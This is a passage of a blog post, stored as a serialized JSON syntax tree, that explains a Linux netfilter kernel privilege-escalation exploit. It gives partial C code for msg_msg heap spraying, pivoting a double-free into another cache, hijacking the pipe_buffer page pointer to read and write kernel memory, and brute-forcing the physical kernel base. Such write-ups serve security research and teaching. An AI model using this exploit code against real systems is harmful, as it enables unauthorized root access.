msg_msgseg",{"type":23,"tag":314,"props":56809,"children":56810},{"style":321},[56811],{"type":28,"value":357},{"type":23,"tag":314,"props":56813,"children":56814},{"style":360},[56815],{"type":28,"value":56816},"next",{"type":23,"tag":314,"props":56818,"children":56819},{"style":338},[56820],{"type":28,"value":2278},{"type":23,"tag":314,"props":56822,"children":56823},{"class":316,"line":1208},[56824,56828,56832],{"type":23,"tag":314,"props":56825,"children":56826},{"style":321},[56827],{"type":28,"value":50300},{"type":23,"tag":314,"props":56829,"children":56830},{"style":354},[56831],{"type":28,"value":357},{"type":23,"tag":314,"props":56833,"children":56834},{"style":338},[56835],{"type":28,"value":56836},"security;\n",{"type":23,"tag":314,"props":56838,"children":56839},{"class":316,"line":1216},[56840],{"type":23,"tag":314,"props":56841,"children":56842},{"style":374},[56843],{"type":28,"value":56844}," /* the actual message follows immediately */\n",{"type":23,"tag":314,"props":56846,"children":56847},{"class":316,"line":1301},[56848],{"type":23,"tag":314,"props":56849,"children":56850},{"style":338},[56851],{"type":28,"value":1545},{"type":23,"tag":314,"props":56853,"children":56854},{"class":316,"line":1343},[56855],{"type":23,"tag":314,"props":56856,"children":56857},{"style":338},[56858],{"type":28,"value":9566},{"type":23,"tag":314,"props":56860,"children":56861},{"class":316,"line":1351},[56862],{"type":23,"tag":314,"props":56863,"children":56864},{"style":338},[56865],{"type":28,"value":56866},"struct list_head {\n",{"type":23,"tag":314,"props":56868,"children":56869},{"class":316,"line":1387},[56870,56874,56878,56882,56886,56890,56894],{"type":23,"tag":314,"props":56871,"children":56872},{"style":321},[56873],{"type":28,"value":20388},{"type":23,"tag":314,"props":56875,"children":56876},{"style":2674},[56877],{"type":28,"value":56755},{"type":23,"tag":314,"props":56879,"children":56880},{"style":321},[56881],{"type":28,"value":357},{"type":23,"tag":314,"props":56883,"children":56884},{"style":360},[56885],{"type":28,"value":56816},{"type":23,"tag":314,"props":56887,"children":56888},{"style":338},[56889],{"type":28,"value":778},{"type":23,"tag":314,"props":56891,"children":56892},{"style":354},[56893],{"type":28,"value":256},{"type":23,"tag":314,"props":56895,"children":56896},{"style":338},[56897],{"type":28,"value":56898},"prev;\n",{"type":23,"tag":314,"props":56900,"children":56901},{"class":316,"line":1422},[56902],{"type":23,"tag":314,"props":56903,"children":56904},{"style":338},[56905],{"type":28,"value":1545},{"type":23,"tag":24,"props":56907,"children":56908},{},[56909,56911,56917,56919,56924],{"type":28,"value":56910},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":94,"props":56912,"children":56914},{"className":56913},[],[56915],{"type":28,"value":56916},"mlist.next",{"type":28,"value":56918}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":94,"props":56920,"children":56922},{"className":56921},[],[56923],{"type":28,"value":56695},{"type":28,"value":56925}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":24,"props":56927,"children":56928},{},[56929,56931,56936,56938],{"type":28,"value":56930},"By incrementing the next pointer of our controllable ",{"type":23,"tag":94,"props":56932,"children":56934},{"className":56933},[],[56935],{"type":28,"value":56695},{"type":28,"value":56937}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":197,"props":56939,"children":56941},{"alt":49829,"src":56940},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":304,"props":56943,"children":56945},{"className":28358,"code":56944,"language":28360,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[56946],{"type":23,"tag":94,"props":56947,"children":56948},{"__ignoreMap":7},[56949,56956,56964,56990,57007,57055,57062,57102,57134,57141,57162,57169,57216,57280,57306,57352,57376,57420,57427,57435,57471,57495,57502,57522,57529],{"type":23,"tag":314,"props":56950,"children":56951},{"class":316,"line":317},[56952],{"type":23,"tag":314,"props":56953,"children":56954},{"style":338},[56955],{"type":28,"value":9566},{"type":23,"tag":314,"props":56957,"children":56958},{"class":316,"line":370},[56959],{"type":23,"tag":314,"props":56960,"children":56961},{"style":338},[56962],{"type":28,"value":56963}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":314,"props":56965,"children":56966},{"class":316,"line":380},[56967,56972,56976,56980,56985],{"type":23,"tag":314,"props":56968,"children":56969},{"style":338},[56970],{"type":28,"value":56971}," msg_t *msg = calloc(1, ",{"type":23,"tag":314,"props":56973,"children":56974},{"style":2674},[56975],{"type":28,"value":1609},{"type":23,"tag":314,"props":56977,"children":56978},{"style":338},[56979],{"type":28,"value":341},{"type":23,"tag":314,"props":56981,"children":56982},{"style":2674},[56983],{"type":28,"value":56984},"msg_t",{"type":23,"tag":314,"props":56986,"children":56987},{"style":338},[56988],{"type":28,"value":56989},") + 0xe8 - 48);\n",{"type":23,"tag":314,"props":56991,"children":56992},{"class":316,"line":1091},[56993,56997,57002],{"type":23,"tag":314,"props":56994,"children":56995},{"style":321},[56996],{"type":28,"value":18315},{"type":23,"tag":314,"props":56998,"children":56999},{"style":360},[57000],{"type":28,"value":57001}," qid",{"type":23,"tag":314,"props":57003,"children":57004},{"style":338},[57005],{"type":28,"value":57006},"[SPRAY];\n",{"type":23,"tag":314,"props":57008,"children":57009},{"class":316,"line":1141},[57010,57014,57018,57022,57026,57030,57034,57038,57042,57047,57051],{"type":23,"tag":314,"props":57011,"children":57012},{"style":2284},[57013],{"type":28,"value":2287},{"type":23,"tag":314,"props":57015,"children":57016},{"style":338},[57017],{"type":28,"value":2324},{"type":23,"tag":314,"props":57019,"children":57020},{"style":321},[57021],{"type":28,"value":18285},{"type":23,"tag":314,"props":57023,"children":57024},{"style":338},[57025],{"type":28,"value":53795},{"type":23,"tag":314,"props":57027,"children":57028},{"style":354},[57029],{"type":28,"value":1102},{"type":23,"tag":314,"props":57031,"children":57032},{"style":1054},[57033],{"type":28,"value":1201},{"type":23,"tag":314,"props":57035,"children":57036},{"style":338},[57037],{"type":28,"value":50484},{"type":23,"tag":314,"props":57039,"children":57040},{"style":354},[57041],{"type":28,"value":5060},{"type":23,"tag":314,"props":57043,"children":57044},{"style":338},[57045],{"type":28,"value":57046}," SPRAY; i",{"type":23,"tag":314,"props":57048,"children":57049},{"style":354},[57050],{"type":28,"value":50520},{"type":23,"tag":314,"props":57052,"children":57053},{"style":338},[57054],{"type":28,"value":2414},{"type":23,"tag":314,"props":57056,"children":57057},{"class":316,"line":1173},[57058],{"type":23,"tag":314,"props":57059,"children":57060},{"style":338},[57061],{"type":28,"value":28435},{"type":23,"tag":314,"props":57063,"children":57064},{"class":316,"line":1208},[57065,57070,57074,57078,57083,57088,57093,57097],{"type":23,"tag":314,"props":57066,"children":57067},{"style":360},[57068],{"type":28,"value":57069}," qid",{"type":23,"tag":314,"props":57071,"children":57072},{"style":338},[57073],{"type":28,"value":53847},{"type":23,"tag":314,"props":57075,"children":57076},{"style":354},[57077],{"type":28,"value":1102},{"type":23,"tag":314,"props":57079,"children":57080},{"style":332},[57081],{"type":28,"value":57082}," msgget",{"type":23,"tag":314,"props":57084,"children":57085},{"style":338},[57086],{"type":28,"value":57087},"(IPC_PRIVATE, ",{"type":23,"tag":314,"props":57089,"children":57090},{"style":1054},[57091],{"type":28,"value":57092},"0666",{"type":23,"tag":314,"props":57094,"children":57095},{"style":354},[57096],{"type":28,"value":3525},{"type":23,"tag":314,"props":57098,"children":57099},{"style":338},[57100],{"type":28,"value":57101}," IPC_CREAT);\n",{"type":23,"tag":314,"props":57103,"children":57104},{"class":316,"line":1216},[57105,57109,57113,57118,57122,57126,57130],{"type":23,"tag":314,"props":57106,"children":57107},{"style":2284},[57108],{"type":28,"value":2527},{"type":23,"tag":314,"props":57110,"children":57111},{"style":338},[57112],{"type":28,"value":2324},{"type":23,"tag":314,"props":57114,"children":57115},{"style":360},[57116],{"type":28,"value":57117},"qid",{"type":23,"tag":314,"props":57119,"children":57120},{"style":338},[57121],{"type":28,"value":53847},{"type":23,"tag":314,"props":57123,"children":57124},{"style":354},[57125],{"type":28,"value":5060},{"type":23,"tag":314,"props":57127,"children":57128},{"style":1054},[57129],{"type":28,"value":1201},{"type":23,"tag":314,"props":57131,"children":57132},{"style":338},[57133],{"type":28,"value":2414},{"type":23,"tag":314,"props":57135,"children":57136},{"class":316,"line":1301},[57137],{"type":23,"tag":314,"props":57138,"children":57139},{"style":338},[57140],{"type":28,"value":30906},{"type":23,"tag":314,"props":57142,"children":57143},{"class":316,"line":1343},[57144,57149,57153,57158],{"type":23,"tag":314,"props":57145,"children":57146},{"style":332},[57147],{"type":28,"value":57148}," perror",{"type":23,"tag":314,"props":57150,"children":57151},{"style":338},[57152],{"type":28,"value":341},{"type":23,"tag":314,"props":57154,"children":57155},{"style":1245},[57156],{"type":28,"value":57157},"\"[-] msgget\"",{"type":23,"tag":314,"props":57159,"children":57160},{"style":338},[57161],{"type":28,"value":1025},{"type":23,"tag":314,"props":57163,"children":57164},{"class":316,"line":1351},[57165],{"type":23,"tag":314,"props":57166,"children":57167},{"style":338},[57168],{"type":28,"value":2602},{"type":23,"tag":314,"props":57170,"children":57171},{"class":316,"line":1387},[57172,57176,57180,57185,57189,57193,57198,57202,57207,57211],{"type":23,"tag":314,"props":57173,"children":57174},{"style":354},[57175],{"type":28,"value":7006},{"type":23,"tag":314,"props":57177,"children":57178},{"style":338},[57179],{"type":28,"value":341},{"type":23,"tag":314,"props":57181,"children":57182},{"style":321},[57183],{"type":28,"value":57184},"uint32_t",{"type":23,"tag":314,"props":57186,"children":57187},{"style":354},[57188],{"type":28,"value":357},{"type":23,"tag":314,"props":57190,"children":57191},{"style":338},[57192],{"type":28,"value":431},{"type":23,"tag":314,"props":57194,"children":57195},{"style":360},[57196],{"type":28,"value":57197},"msg",{"type":23,"tag":314,"props":57199,"children":57200},{"style":338},[57201],{"type":28,"value":1015},{"type":23,"tag":314,"props":57203,"children":57204},{"style":360},[57205],{"type":28,"value":57206},"mtext",{"type":23,"tag":314,"props":57208,"children":57209},{"style":354},[57210],{"type":28,"value":1237},{"type":23,"tag":314,"props":57212,"children":57213},{"style":338},[57214],{"type":28,"value":57215}," i;\n",{"type":23,"tag":314,"props":57217,"children":57218},{"class":316,"line":1422},[57219,57223,57227,57231,57235,57239,57243,57247,57251,57255,57259,57263,57267,57271,57276],{"type":23,"tag":314,"props":57220,"children":57221},{"style":354},[57222],{"type":28,"value":7006},{"type":23,"tag":314,"props":57224,"children":57225},{"style":338},[57226],{"type":28,"value":341},{"type":23,"tag":314,"props":57228,"children":57229},{"style":321},[57230],{"type":28,"value":54885},{"type":23,"tag":314,"props":57232,"children":57233},{"style":354},[57234],{"type":28,"value":357},{"type":23,"tag":314,"props":57236,"children":57237},{"style":338},[57238],{"type":28,"value":431},{"type":23,"tag":314,"props":57240,"children":57241},{"style":354},[57242],{"type":28,"value":1833},{"type":23,"tag":314,"props":57244,"children":57245},{"style":360},[57246],{"type":28,"value":57197},{"type":23,"tag":314,"props":57248,"children":57249},{"style":338},[57250],{"type":28,"value":1015},{"type":23,"tag":314,"props":57252,"children":57253},{"style":360},[57254],{"type":28,"value":57206},{"type":23,"tag":314,"props":57256,"children":57257},{"style":338},[57258],{"type":28,"value":1312},{"type":23,"tag":314,"props":57260,"children":57261},{"style":1054},[57262],{"type":28,"value":3330},{"type":23,"tag":314,"props":57264,"children":57265},{"style":338},[57266],{"type":28,"value":1322},{"type":23,"tag":314,"props":57268,"children":57269},{"style":354},[57270],{"type":28,"value":1102},{"type":23,"tag":314,"props":57272,"children":57273},{"style":1054},[57274],{"type":28,"value":57275}," 0xdeadbeefcafebabe",{"type":23,"tag":314,"props":57277,"children":57278},{"style":338},[57279],{"type":28,"value":2278},{"type":23,"tag":314,"props":57281,"children":57282},{"class":316,"line":1430},[57283,57288,57292,57297,57301],{"type":23,"tag":314,"props":57284,"children":57285},{"style":360},[57286],{"type":28,"value":57287}," msg",{"type":23,"tag":314,"props":57289,"children":57290},{"style":338},[57291],{"type":28,"value":1015},{"type":23,"tag":314,"props":57293,"children":57294},{"style":360},[57295],{"type":28,"value":57296},"mtype",{"type":23,"tag":314,"props":57298,"children":57299},{"style":354},[57300],{"type":28,"value":1237},{"type":23,"tag":314,"props":57302,"children":57303},{"style":338},[57304],{"type":28,"value":57305}," MTYPE_PRIMARY;\n",{"type":23,"tag":314,"props":57307,"children":57308},{"class":316,"line":1452},[57309,57314,57318,57322,57327,57331,57335,57340,57344,57348],{"type":23,"tag":314,"props":57310,"children":57311},{"style":332},[57312],{"type":28,"value":57313}," msgsnd",{"type":23,"tag":314,"props":57315,"children":57316},{"style":338},[57317],{"type":28,"value":341},{"type":23,"tag":314,"props":57319,"children":57320},{"style":360},[57321],{"type":28,"value":57117},{"type":23,"tag":314,"props":57323,"children":57324},{"style":338},[57325],{"type":28,"value":57326},"[i], msg, ",{"type":23,"tag":314,"props":57328,"children":57329},{"style":1054},[57330],{"type":28,"value":55222},{"type":23,"tag":314,"props":57332,"children":57333},{"style":354},[57334],{"type":28,"value":50506},{"type":23,"tag":314,"props":57336,"children":57337},{"style":1054},[57338],{"type":28,"value":57339}," 48",{"type":23,"tag":314,"props":57341,"children":57342},{"style":338},[57343],{"type":28,"value":778},{"type":23,"tag":314,"props":57345,"children":57346},{"style":1054},[57347],{"type":28,"value":1600},{"type":23,"tag":314,"props":57349,"children":57350},{"style":338},[57351],{"type":28,"value":1025},{"type":23,"tag":314,"props":57353,"children":57354},{"class":316,"line":1497},[57355,57359,57363,57367,57371],{"type":23,"tag":314,"props":57356,"children":57357},{"style":360},[57358],{"type":28,"value":57287},{"type":23,"tag":314,"props":57360,"children":57361},{"style":338},[57362],{"type":28,"value":1015},{"type":23,"tag":314,"props":57364,"children":57365},{"style":360},[57366],{"type":28,"value":57296},{"type":23,"tag":314,"props":57368,"children":57369},{"style":354},[57370],{"type":28,"value":1237},{"type":23,"tag":314,"props":57372,"children":57373},{"style":338},[57374],{"type":28,"value":57375}," MTYPE_SECONDARY;\n",{"type":23,"tag":314,"props":57377,"children":57378},{"class":316,"line":1539},[57379,57383,57387,57391,57395,57400,57404,57408,57412,57416],{"type":23,"tag":314,"props":57380,"children":57381},{"style":332},[57382],{"type":28,"value":57313},{"type":23,"tag":314,"props":57384,"children":57385},{"style":338},[57386],{"type":28,"value":341},{"type":23,"tag":314,"props":57388,"children":57389},{"style":360},[57390],{"type":28,"value":57117},{"type":23,"tag":314,"props":57392,"children":57393},{"style":338},[57394],{"type":28,"value":57326},{"type":23,"tag":314,"props":57396,"children":57397},{"style":1054},[57398],{"type":28,"value":57399},"1024",{"type":23,"tag":314,"props":57401,"children":57402},{"style":354},[57403],{"type":28,"value":50506},{"type":23,"tag":314,"props":57405,"children":57406},{"style":1054},[57407],{"type":28,"value":57339},{"type":23,"tag":314,"props":57409,"children":57410},{"style":338},[57411],{"type":28,"value":778},{"type":23,"tag":314,"props":57413,"children":57414},{"style":1054},[57415],{"type":28,"value":1600},{"type":23,"tag":314,"props":57417,"children":57418},{"style":338},[57419],{"type":28,"value":1025},{"type":23,"tag":314,"props":57421,"children":57422},{"class":316,"line":1548},[57423],{"type":23,"tag":314,"props":57424,"children":57425},{"style":338},[57426],{"type":28,"value":2610},{"type":23,"tag":314,"props":57428,"children":57429},{"class":316,"line":1584},[57430],{"type":23,"tag":314,"props":57431,"children":57432},{"style":374},[57433],{"type":28,"value":57434}," // Prepare evil msg\n",{"type":23,"tag":314,"props":57436,"children":57437},{"class":316,"line":1617},[57438,57442,57447,57451,57455,57459,57463,57467],{"type":23,"tag":314,"props":57439,"children":57440},{"style":321},[57441],{"type":28,"value":18315},{"type":23,"tag":314,"props":57443,"children":57444},{"style":338},[57445],{"type":28,"value":57446}," evilqid ",{"type":23,"tag":314,"props":57448,"children":57449},{"style":354},[57450],{"type":28,"value":1102},{"type":23,"tag":314,"props":57452,"children":57453},{"style":332},[57454],{"type":28,"value":57082},{"type":23,"tag":314,"props":57456,"children":57457},{"style":338},[57458],{"type":28,"value":57087},{"type":23,"tag":314,"props":57460,"children":57461},{"style":1054},[57462],{"type":28,"value":57092},{"type":23,"tag":314,"props":57464,"children":57465},{"style":354},[57466],{"type":28,"value":3525},{"type":23,"tag":314,"props":57468,"children":57469},{"style":338},[57470],{"type":28,"value":57101},{"type":23,"tag":314,"props":57472,"children":57473},{"class":316,"line":1625},[57474,57478,57483,57487,57491],{"type":23,"tag":314,"props":57475,"children":57476},{"style":2284},[57477],{"type":28,"value":11527},{"type":23,"tag":314,"props":57479,"children":57480},{"style":338},[57481],{"type":28,"value":57482}," (evilqid ",{"type":23,"tag":314,"props":57484,"children":57485},{"style":354},[57486],{"type":28,"value":5060},{"type":23,"tag":314,"props":57488,"children":57489},{"style":1054},[57490],{"type":28,"value":1201},{"type":23,"tag":314,"props":57492,"children":57493},{"style":338},[57494],{"type":28,"value":2414},{"type":23,"tag":314,"props":57496,"children":57497},{"class":316,"line":1660},[57498],{"type":23,"tag":314,"props":57499,"children":57500},{"style":338},[57501],{"type":28,"value":28435},{"type":23,"tag":314,"props":57503,"children":57504},{"class":316,"line":1708},[57505,57510,57514,57518],{"type":23,"tag":314,"props":57506,"children":57507},{"style":332},[57508],{"type":28,"value":57509}," perror",{"type":23,"tag":314,"props":57511,"children":57512},{"style":338},[57513],{"type":28,"value":341},{"type":23,"tag":314,"props":57515,"children":57516},{"style":1245},[57517],{"type":28,"value":57157},{"type":23,"tag":314,"props":57519,"children":57520},{"style":338},[57521],{"type":28,"value":1025},{"type":23,"tag":314,"props":57523,"children":57524},{"class":316,"line":1743},[57525],{"type":23,"tag":314,"props":57526,"children":57527},{"style":338},[57528],{"type":28,"value":2610},{"type":23,"tag":314,"props":57530,"children":57531},{"class":316,"line":1751},[57532],{"type":23,"tag":314,"props":57533,"children":57534},{"style":338},[57535],{"type":28,"value":57536},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":837,"props":57538,"children":57540},{"id":57539},"using-pipe_buffer-page-pointer-for-physical-readwrite",[57541],{"type":28,"value":57542},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":24,"props":57544,"children":57545},{},[57546,57548,57554,57555,57561,57562,57568,57570,57576],{"type":28,"value":57547},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":94,"props":57549,"children":57551},{"className":57550},[],[57552],{"type":28,"value":57553},"kmalloc-1k",{"type":28,"value":557},{"type":23,"tag":94,"props":57556,"children":57558},{"className":57557},[],[57559],{"type":28,"value":57560},"overlap pipe_buffer",{"type":28,"value":20741},{"type":23,"tag":94,"props":57563,"children":57565},{"className":57564},[],[57566],{"type":28,"value":57567},"skbuf",{"type":28,"value":57569}," data to control the ",{"type":23,"tag":94,"props":57571,"children":57573},{"className":57572},[],[57574],{"type":28,"value":57575},"page",{"type":28,"value":57577}," field.",{"type":23,"tag":24,"props":57579,"children":57580},{},[57581,57582,57587,57589,57595,57597],{"type":28,"value":92},{"type":23,"tag":94,"props":57583,"children":57585},{"className":57584},[],[57586],{"type":28,"value":57575},{"type":28,"value":57588}," field is a pointer into ",{"type":23,"tag":94,"props":57590,"children":57592},{"className":57591},[],[57593],{"type":28,"value":57594},"vmemmap_base",{"type":28,"value":57596},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":197,"props":57598,"children":57600},{"alt":49829,"src":57599},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":24,"props":57602,"children":57603},{},[57604,57606,57611],{"type":28,"value":57605},"This now allows us to navigate the ",{"type":23,"tag":94,"props":57607,"children":57609},{"className":57608},[],[57610],{"type":28,"value":57594},{"type":28,"value":57612}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":837,"props":57614,"children":57616},{"id":57615},"bruteforce-physical-kernel-base",[57617],{"type":28,"value":57618},"Bruteforce physical kernel base",{"type":23,"tag":24,"props":57620,"children":57621},{},[57622,57624,57630,57632,57637,57639,57645],{"type":28,"value":57623},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":94,"props":57625,"children":57627},{"className":57626},[],[57628],{"type":28,"value":57629},"modprobe_path",{"type":28,"value":57631},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":94,"props":57633,"children":57635},{"className":57634},[],[57636],{"type":28,"value":57594},{"type":28,"value":57638}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":94,"props":57640,"children":57642},{"className":57641},[],[57643],{"type":28,"value":57644},"PHYSICAL_ALIGN",{"type":28,"value":57646}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":304,"props":57648,"children":57650},{"className":28358,"code":57649,"language":28360,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[57651],{"type":23,"tag":94,"props":57652,"children":57653},{"__ignoreMap":7},[57654,57661,57669,57677,57701,57734,57754,57794,57801,57845,57879,57906,57942,57949,57995,58002,58032,58045,58110,58117,58129,58137,58144,58151,58177,58184,58204,58216,58223,58230,58237],{"type":23,"tag":314,"props":57655,"children":57656},{"class":316,"line":317},[57657],{"type":23,"tag":314,"props":57658,"children":57659},{"style":338},[57660],{"type":28,"value":9566},{"type":23,"tag":314,"props":57662,"children":57663},{"class":316,"line":370},[57664],{"type":23,"tag":314,"props":57665,"children":57666},{"style":338},[57667],{"type":28,"value":57668},"// Bruteforce phys-KASLR\n",{"type":23,"tag":314,"props":57670,"children":57671},{"class":316,"line":380},[57672],{"type":23,"tag":314,"props":57673,"children":57674},{"style":338},[57675],{"type":28,"value":57676}," uint64_t kernel_base;\n",{"type":23,"tag":314,"props":57678,"children":57679},{"class":316,"line":1091},[57680,57684,57689,57693,57697],{"type":23,"tag":314,"props":57681,"children":57682},{"style":321},[57683],{"type":28,"value":45722},{"type":23,"tag":314,"props":57685,"children":57686},{"style":338},[57687],{"type":28,"value":57688}," found ",{"type":23,"tag":314,"props":57690,"children":57691},{"style":354},[57692],{"type":28,"value":1102},{"type":23,"tag":314,"props":57694,"children":57695},{"style":321},[57696],{"type":28,"value":8309},{"type":23,"tag":314,"props":57698,"children":57699},{"style":338},[57700],{"type":28,"value":2278},{"type":23,"tag":314,"props":57702,"children":57703},{"class":316,"line":1141},[57704,57709,57713,57718,57722,57726,57730],{"type":23,"tag":314,"props":57705,"children":57706},{"style":321},[57707],{"type":28,"value":57708}," uint8_t",{"type":23,"tag":314,"props":57710,"children":57711},{"style":360},[57712],{"type":28,"value":1558},{"type":23,"tag":314,"props":57714,"children":57715},{"style":338},[57716],{"type":28,"value":57717},"[PAGE_SIZE] ",{"type":23,"tag":314,"props":57719,"children":57720},{"style":354},[57721],{"type":28,"value":1102},{"type":23,"tag":314,"props":57723,"children":57724},{"style":338},[57725],{"type":28,"value":1770},{"type":23,"tag":314,"props":57727,"children":57728},{"style":1054},[57729],{"type":28,"value":1600},{"type":23,"tag":314,"props":57731,"children":57732},{"style":338},[57733],{"type":28,"value":1545},{"type":23,"tag":314,"props":57735,"children":57736},{"class":316,"line":1173},[57737,57741,57745,57750],{"type":23,"tag":314,"props":57738,"children":57739},{"style":332},[57740],{"type":28,"value":54757},{"type":23,"tag":314,"props":57742,"children":57743},{"style":338},[57744],{"type":28,"value":341},{"type":23,"tag":314,"props":57746,"children":57747},{"style":1245},[57748],{"type":28,"value":57749},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":314,"props":57751,"children":57752},{"style":338},[57753],{"type":28,"value":1025},{"type":23,"tag":314,"props":57755,"children":57756},{"class":316,"line":1208},[57757,57761,57765,57769,57773,57777,57781,57786,57790],{"type":23,"tag":314,"props":57758,"children":57759},{"style":2284},[57760],{"type":28,"value":2287},{"type":23,"tag":314,"props":57762,"children":57763},{"style":338},[57764],{"type":28,"value":2324},{"type":23,"tag":314,"props":57766,"children":57767},{"style":321},[57768],{"type":28,"value":54885},{"type":23,"tag":314,"props":57770,"children":57771},{"style":338},[57772],{"type":28,"value":53795},{"type":23,"tag":314,"props":57774,"children":57775},{"style":354},[57776],{"type":28,"value":1102},{"type":23,"tag":314,"props":57778,"children":57779},{"style":1054},[57780],{"type":28,"value":1201},{"type":23,"tag":314,"props":57782,"children":57783},{"style":338},[57784],{"type":28,"value":57785},";; i",{"type":23,"tag":314,"props":57787,"children":57788},{"style":354},[57789],{"type":28,"value":50520},{"type":23,"tag":314,"props":57791,"children":57792},{"style":338},[57793],{"type":28,"value":2414},{"type":23,"tag":314,"props":57795,"children":57796},{"class":316,"line":1216},[57797],{"type":23,"tag":314,"props":57798,"children":57799},{"style":338},[57800],{"type":28,"value":28435},{"type":23,"tag":314,"props":57802,"children":57803},{"class":316,"line":1301},[57804,57809,57813,57818,57822,57827,57831,57836,57840],{"type":23,"tag":314,"props":57805,"children":57806},{"style":338},[57807],{"type":28,"value":57808}," kernel_base ",{"type":23,"tag":314,"props":57810,"children":57811},{"style":354},[57812],{"type":28,"value":1102},{"type":23,"tag":314,"props":57814,"children":57815},{"style":1054},[57816],{"type":28,"value":57817}," 0x40",{"type":23,"tag":314,"props":57819,"children":57820},{"style":354},[57821],{"type":28,"value":357},{"type":23,"tag":314,"props":57823,"children":57824},{"style":338},[57825],{"type":28,"value":57826}," ((PHYSICAL_ALIGN ",{"type":23,"tag":314,"props":57828,"children":57829},{"style":354},[57830],{"type":28,"value":256},{"type":23,"tag":314,"props":57832,"children":57833},{"style":338},[57834],{"type":28,"value":57835}," i) ",{"type":23,"tag":314,"props":57837,"children":57838},{"style":354},[57839],{"type":28,"value":12009},{"type":23,"tag":314,"props":57841,"children":57842},{"style":338},[57843],{"type":28,"value":57844}," PAGE_SHIFT);\n",{"type":23,"tag":314,"props":57846,"children":57847},{"class":316,"line":1343},[57848,57853,57857,57861,57865,57870,57874],{"type":23,"tag":314,"props":57849,"children":57850},{"style":360},[57851],{"type":28,"value":57852}," pipebuf",{"type":23,"tag":314,"props":57854,"children":57855},{"style":338},[57856],{"type":28,"value":1015},{"type":23,"tag":314,"props":57858,"children":57859},{"style":360},[57860],{"type":28,"value":57575},{"type":23,"tag":314,"props":57862,"children":57863},{"style":354},[57864],{"type":28,"value":1237},{"type":23,"tag":314,"props":57866,"children":57867},{"style":338},[57868],{"type":28,"value":57869}," vmemmap_base ",{"type":23,"tag":314,"props":57871,"children":57872},{"style":354},[57873],{"type":28,"value":1130},{"type":23,"tag":314,"props":57875,"children":57876},{"style":338},[57877],{"type":28,"value":57878}," kernel_base;\n",{"type":23,"tag":314,"props":57880,"children":57881},{"class":316,"line":1351},[57882,57886,57890,57894,57898,57902],{"type":23,"tag":314,"props":57883,"children":57884},{"style":360},[57885],{"type":28,"value":57852},{"type":23,"tag":314,"props":57887,"children":57888},{"style":338},[57889],{"type":28,"value":1015},{"type":23,"tag":314,"props":57891,"children":57892},{"style":360},[57893],{"type":28,"value":13148},{"type":23,"tag":314,"props":57895,"children":57896},{"style":354},[57897],{"type":28,"value":1237},{"type":23,"tag":314,"props":57899,"children":57900},{"style":1054},[57901],{"type":28,"value":1201},{"type":23,"tag":314,"props":57903,"children":57904},{"style":338},[57905],{"type":28,"value":2278},{"type":23,"tag":314,"props":57907,"children":57908},{"class":316,"line":1387},[57909,57913,57917,57921,57925,57930,57934,57938],{"type":23,"tag":314,"props":57910,"children":57911},{"style":360},[57912],{"type":28,"value":57852},{"type":23,"tag":314,"props":57914,"children":57915},{"style":338},[57916],{"type":28,"value":1015},{"type":23,"tag":314,"props":57918,"children":57919},{"style":360},[57920],{"type":28,"value":8389},{"type":23,"tag":314,"props":57922,"children":57923},{"style":354},[57924],{"type":28,"value":1237},{"type":23,"tag":314,"props":57926,"children":57927},{"style":338},[57928],{"type":28,"value":57929}," PAGE_SIZE 